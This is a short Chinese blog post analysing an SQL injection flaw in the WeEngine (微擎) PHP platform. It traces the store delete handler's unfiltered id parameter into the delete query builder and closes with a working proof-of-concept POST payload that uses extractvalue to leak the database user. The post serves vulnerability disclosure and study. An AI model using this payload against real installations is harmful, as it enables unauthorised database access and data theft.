IT博客汇
  • 首页
  • 精华
  • 技术
  • 设计
  • 资讯
  • 扯淡
  • 权利声明
  • 登录 注册

    微擎普通用户权限SQL注入漏洞(2)

    没穿底裤发表于 2016-07-13 09:31:37
    love 0

    /web/source/mc/store.ctrl.php

    if($do =='delete') {
    	$count = pdo_fetchcolumn('SELECT COUNT(*) FROM ' . tablename('activity_clerks') . ' WHERE uniacid = :uniacid AND storeid = :id', array(':id' => $_GPC['id'], ':uniacid' => $_W['uniacid']));
    	$count = intval($count);
    	if($count > 0) {
    		message("该门店下有{$count}名店员.请将店员变更到其他门店后,再进行删除操作", referer(), 'error');
    	}
    	pdo_delete('activity_stores',array('id' => $_GPC['id'], 'uniacid' => $_W['uniacid']));
    	message('删除成功',referer(), 'success');
    }

    发现其中对id的获取直接带入pdo_delete中进行操作。查看下pdo_delete怎么进行的

    function pdo_delete($table, $params = array(), $glue = 'AND') {
    	return pdo()->delete($table, $params, $glue);
    }

    再继续查看下delete函数

    public function delete($table, $params = array(), $glue = 'AND') {
    		$condition = $this->implode($params, $glue);
    		$sql = "DELETE FROM " . $this->tablename($table);
    		$sql .= $condition['fields'] ? ' WHERE '.$condition['fields'] : '';
    		return $this->query($sql, $condition['params']);
    	}

    直接是获取相关参数,直接带入表中进行删除动作。既然delete中没有进行任何的非删除之外的动作。就可以直接注入了。直接上poc

    http://127.0.0.1/web/index.php?c=mc&a=store&do=delete
    post
    id[]=a\&id[]=) and extractvalue(1, concat(0x5c, (select user())))--

    1



沪ICP备19023445号-2号
友情链接